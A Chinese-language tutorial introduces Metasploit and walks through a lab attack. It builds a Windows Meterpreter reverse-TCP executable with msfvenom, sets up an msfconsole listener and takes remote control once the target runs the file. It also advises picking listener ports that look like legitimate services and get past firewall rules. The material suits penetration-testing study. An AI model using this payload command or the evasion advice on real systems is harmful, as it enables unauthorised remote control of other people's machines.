Metasploit 是一款开源的渗透测试与漏洞利用框架,由 Rapid7 公司维护,是信息安全领域(尤其是渗透测试、漏洞研究)最常用的工具之一。它的核心功能是帮助安全人员合法地模拟黑客攻击,以评估目标系统的安全性,发现并修复潜在漏洞。
生成payload:
例如:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.113.136 lport=5000 -f exe -o /root/payload.exe其中参数:
Msfvenom:用于生成恶意payload的工具
-p, –payload Payload to use;指定哪些有效载荷生成
本例中 windows/meterpreter/reverse_tcp :用于Windows平台的反向远程控制程序
-f, –format Output format;指定有效载荷的格式
本例中 exe 生成Windows系统的可执行文件
-o, –out Save the payload;指定保存位置
本例中 /root/payload.exe
LHOST:是 “Local Host” 的缩写,指控制端(这里是 Kali Linux 主机)的 IP 地址(图中为192.168.113.136)。目标主机运行生成的payload.exe后,会主动向这个 IP 发起连接,从而建立控制会话。
LPORT:是 “Local Port” 的缩写,指控制端监听的端口(图中为5000)。Kali 需在这个端口上启动监听程序,等待目标主机的连接请求。
图示为成功生成了在5000端口运行的payload。
开启metasploit的交互式命令控制台msfconsole进行配置:
配置payload:windows/meterpreter/reverse_tcp
配置lhost:kali ip
配置lport:5000
如图所示为配置好的payload,键入run开启监听。
如图所示为生成的payload,使用文件传输命令将其从http下载到本机Windows
windows开始运行payload.exe后,看到kali命令行中成功连接信息
此时我们就可以通过meterpreter对目标Windows系统进行远程控制了。
关于监听端口的选择:
在渗透测试中选择监听端口(LPORT)需要综合考虑可用性、隐蔽性、目标环境限制等因素,以下是具体原则和建议:
一、监听端口选择的核心原则
避免常用系统端口
- 不要选择
1-1024范围内的知名端口(如80HTTP、443HTTPS、22SSH 等):这些端口可能被目标防火墙默认放行,但也可能被控制端本地服务占用,或被安全设备标记为 “高风险端口”。 - 优先选择
1024-65535的非知名端口(如4444、5555、8888等),降低被检测的概率。
- 不要选择
避开目标环境的拦截规则
- 若已知目标防火墙 / 安全组的策略,选择其放行的端口(例如目标允许
8080、3389等端口的出站流量,则可优先选这些端口)。 - 避免目标常用的 “黑名单端口”(如部分企业会拦截
4444、5555等渗透测试常用端口)。
- 若已知目标防火墙 / 安全组的策略,选择其放行的端口(例如目标允许
确保控制端本地端口未被占用
- 选择前可先用
netstat -tulpn | grep端口号检查 Kali 本地是否已占用该端口,避免端口冲突导致监听失败。
- 选择前可先用
二、推荐的常用监听端口
渗透测试常用(相对隐蔽且少被占用):4444、5555、6666、8888、9999;
仿合法服务端口(增强隐蔽性):8080(仿 HTTP 服务)、8443(仿 HTTPS 服务)、1080(仿代理服务);
随机高端口:直接选择10000-60000之间的随机端口(如23456、34567),进一步降低被识别的概率。
三、注意事项
同一控制端同时监听多个 payload 时,需使用不同的 LPORT,避免端口冲突;
若目标有严格的出站端口限制,可尝试使用443(HTTPS)、80(HTTP)等 “通用放行端口”,但需确保控制端本地未占用这些端口。